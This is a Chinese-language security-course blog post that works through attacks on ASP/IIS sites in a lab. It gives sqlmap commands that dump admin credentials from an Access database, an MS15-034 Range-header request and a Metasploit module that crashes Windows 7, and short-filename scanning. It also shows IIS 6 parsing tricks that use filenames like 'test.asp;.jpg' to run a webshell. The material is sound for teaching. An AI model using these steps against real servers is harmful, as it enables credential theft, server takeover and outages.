2962 字
15 分钟
第41天:WEB攻防-ASP应用

第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏#

目录#

一、ASP-SQL注入-Access数据库#

1.解释#

ACCESS数据库与常见的MySQL等数据库不同,它没有独立的管理账号密码,其核心架构由表名、列名(字段)和数据组成。这一特性导致在注入攻击中,通常需要通过字典猜解表名、列名,再进一步获取数据。虽然猜解过程相对直接,但可能因字典覆盖不全而出现猜解失败的情况。由于当前Access数据库的应用已较少,实际测试中多直接使用SQLMAP进行注入,其他手动猜解方法后续补充。

  • mdb后缀是Access数据库的典型标识;
  • 数据库的默认路径通常写在配置文件中,若未修改则可被利用。
Terminal window
# 使用sqlmap获取目标URL对应的数据库表名
python sqlmap.py -u "" --tables
# 获取admin表中的列名(字段)
python sqlmap.py -u "" --columns -T admin
# 导出admin表中指定列的数据
python sqlmap.py -u "" --dump -C "" -T admin

2.漏洞扫描#

通过注入获取网站用户名和密码后,需进一步寻找后台登录地址,常用方法如下:

  • 目录扫描:使用字典遍历网站目录,探测可能的后台路径(如/admin、/manage等);
  • IIS短文件:利用IIS短文件漏洞探测隐藏的文件或目录名(如后台登录页的短文件名);
  • 网站爬虫:通过爬虫分析网站架构,提取所有链接中的目录和文件路径,从中筛选后台地址。

3.区分好报错和容错#

img

二、ASP-默认安装-数据库泄漏下载#

1.ASP漏洞原因#

  • 多数ASP程序与ACCESS数据库搭配使用,而ACCESS数据库无需像MySQL那样单独配置连接服务,其路径直接在脚本文件中定义。若开发者未修改默认数据库路径,攻击者一旦获取完整路径,即可远程下载数据库文件,解密后获取敏感数据(如账号密码);
  • Access数据库无需启动独立的数据库服务,通常直接存放在网站源码目录下。若搭建时未调整默认存放位置,攻击者可通过路径遍历等方式找到并下载。

三、ASP-IIS-CVE&短文件&解析&写入#

1.HTTP.SYS(CVE-2015-1635)#

  1. 漏洞描述
    该漏洞存在于HTTP协议堆栈(HTTP.sys)中,当HTTP.sys未能正确解析特殊构造的HTTP请求时触发。成功利用后,攻击者可在系统账户上下文执行任意代码。

  2. 影响版本
    Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

  3. 漏洞利用条件
    目标系统安装了IIS 6.0及以上版本,且操作系统属于上述影响范围。

  4. 漏洞复现

    Terminal window
    # 启动metasploit框架
    msfconsole
    # 加载对应的漏洞利用模块(DOS攻击模块)
    use auxiliary/dos/http/ms15_034_ulonglongadd
    # 设置目标IP
    set rhosts xx.xx.xx.xx
    # 设置目标端口(通常为80)
    set rport xx
    # 执行攻击
    run

2.IIS短文件#

  1. 漏洞描述
    该漏洞源于HTTP请求中对旧DOS 8.3名称约定(SFN)的代字符(~)处理缺陷。攻击者可利用此漏洞获取Web根目录下本不应被访问的文件和文件夹名称,从而收集应用架构信息(如后台路径、数据库文件等)。

  2. 漏洞成因
    为兼容16位MS-DOS程序,Windows会为长文件名(或文件夹名)生成对应的8.3短文件名(如“administrator”的短文件名为“ADMINI~1”)。通过dir /x命令可在Windows系统中查看短文件名。

  3. 应用场景
    常用于获取后台登录路径、数据库文件位置、敏感配置文件等隐藏信息。

  4. 利用工具

3.IIS文件解析#

  1. 漏洞成因
    • IIS 6 解析漏洞
      1. 默认将*.asp;.jpg格式的文件解析为ASP脚本;
      2. 默认将*.asp/目录下的所有文件解析为ASP脚本(如logo.asp;.jpgxx.asp/logo.jpg)。
    • IIS 7.x 解析漏洞
      在文件路径后添加/xx.php时,会将整个路径(如/xx.jpg/xx.php)解析为PHP文件。
      应用场景:结合文件上传漏洞,构造特殊文件名绕过上传检测,获取Webshell。

4.IIS写权限#

当IIS版本≤6.0,且目录开启写入权限、启用WebDAV并设置为“允许”时,攻击者可能通过WebDAV协议上传恶意文件(如ASP木马),进而控制服务器。
参考利用:https://cloud.tencent.com/developer/article/2050105

四、环境复现#

1.ASP-默认安装-MDB数据库泄漏下载#

  1. 首次打开需将IP更改为本地IP才能访问
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

  2. 输入包含数据库路径的URL下载文件
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

  3. 打开下载的MDB数据库文件查看账号密码
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

  4. 根据源码信息尝试登录网站后台
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

  5. 防范措施:修改数据库文件名,并同步更新配置文件(如include/conn.aspconn.asp)中的路径
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

2.ASP-中间件-CVE&短文件&解析&写权限#

  1. HTTP.SYS

    1. 打开演示环境,用ipconfig查看本机IP,在浏览器中输入IP确认IIS版本
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    2. 漏洞验证命令(构造特殊Range头触发漏洞):
      Terminal window
      # -v 显示详细信息;-H 添加请求头;Range头的值为超大整数,导致HTTP.sys处理异常
      curl -v IP -H "Host:irrelevant" -H "Range: bytes=0-18446744073709551615"
    3. 使用metasploit测试:
      Terminal window
      # 加载漏洞利用模块
      use auxiliary/dos/http/ms15_034_ulonglongadd
      # 设置目标Windows 7的IP
      set rhosts [Win7的IP]
      # 查看配置选项
      show options
      # 执行攻击(可能导致目标蓝屏)
      run
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    4. 攻击成功后Win7系统蓝屏
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  2. IIS-短文件

    1. 打开目标网站
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    2. 使用IIS_shortname_Scanner工具探测:
      Terminal window
      # 对目标URL进行短文件扫描
      python iis_shortname_scan.py http://192.168.163.133:88/
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  3. IIS-文件解析

    1. 使用哥斯拉生成ASP格式木马
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    2. 将生成的木马放入IIS网站目录
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    3. 使用哥斯拉连接木马
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    4. 修改文件名(如利用IIS 6解析漏洞改为test.asp;.jpg),重新尝试连接
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    5. 连接成功
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    6. 创建1.asp文件夹,将ASP后门放入该文件夹
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    7. 利用IIS 6对*.asp/目录的解析特性,用哥斯拉连接
      第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

3.ASP-SQL注入-SQLMAP使用&ACCESS注入#

  1. 使用SQLMAP爆破数据库表名
    Terminal window
    # 对目标URL的注入点(classid=3)进行表名爆破
    python .sqlmap.py -u "http://192.168.163.133:89/Pic.asp?classid=3" --tables
  2. 检测到注入点
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  3. SQLMAP提示是否使用字典爆破表名(Access无系统表,需字典猜解)
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  4. 爆破到admin表后可暂停,进行后续操作
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  5. 爆破admin表的列名
    Terminal window
    # 对admin表的列名进行爆破
    python .sqlmap.py -u "http://192.168.163.133:89/Pic.asp?classid=3" --columns -T admin
    --columns:指定获取列名;-T:指定表名)
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  6. 得到usernameIDpassword
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  7. 导出usernamepassword列的数据
    Terminal window
    # 导出admin表中username和password列的数据
    sqlmap -u "http://192.168.163.133:89/Pic.asp?classid=3" --dump -C "username,password" -T admin
    --dump:导出数据;-C:指定列名)
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  8. 对导出的加密密码进行解密(如MD5解密)
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  9. 结合短文件扫描结果,猜解后台目录名
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  10. 猜测upfile.asp为后台路径,成功访问
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  11. 使用目录爆破工具扫描后台地址
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  12. 输入账号密码登录后台
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
  13. 通过网站爬虫扫描所有链接,发现后台登录页
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
    第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

五、难点总结#

  1. Access注入的猜解难度:Access数据库无系统表(如MySQL的information_schema),需依赖字典猜解表名和列名,字典的完整性直接影响成功率,且猜解过程耗时较长。
  2. IIS版本差异导致的漏洞差异:IIS 6和IIS 7.x的解析漏洞原理不同,需根据目标版本选择对应利用方式(如IIS 6的*.asp;.jpg与IIS 7.x的/xx.jpg/xx.php)。
  3. 短文件漏洞的探测效率:短文件猜解需逐个测试可能的字符,受网络环境和目标防护机制影响较大,可能被WAF拦截或因响应延迟导致误判。
  4. 数据库路径的获取:Access数据库泄漏依赖已知路径,而默认路径可能被修改,需结合配置文件泄露、目录扫描等多种方式综合判断。
  5. HTTP.SYS漏洞的利用限制:该漏洞属于DOS类型,虽能导致系统崩溃,但难以直接获取权限,且现代系统多已打补丁,实际利用场景有限。
第41天:WEB攻防-ASP应用
https://konwait12.github.io/my-kon-blog/posts/041安全攻防/
作者
k-on!--wait
发布于
2025-08-17
许可协议
CC BY-NC-SA 4.0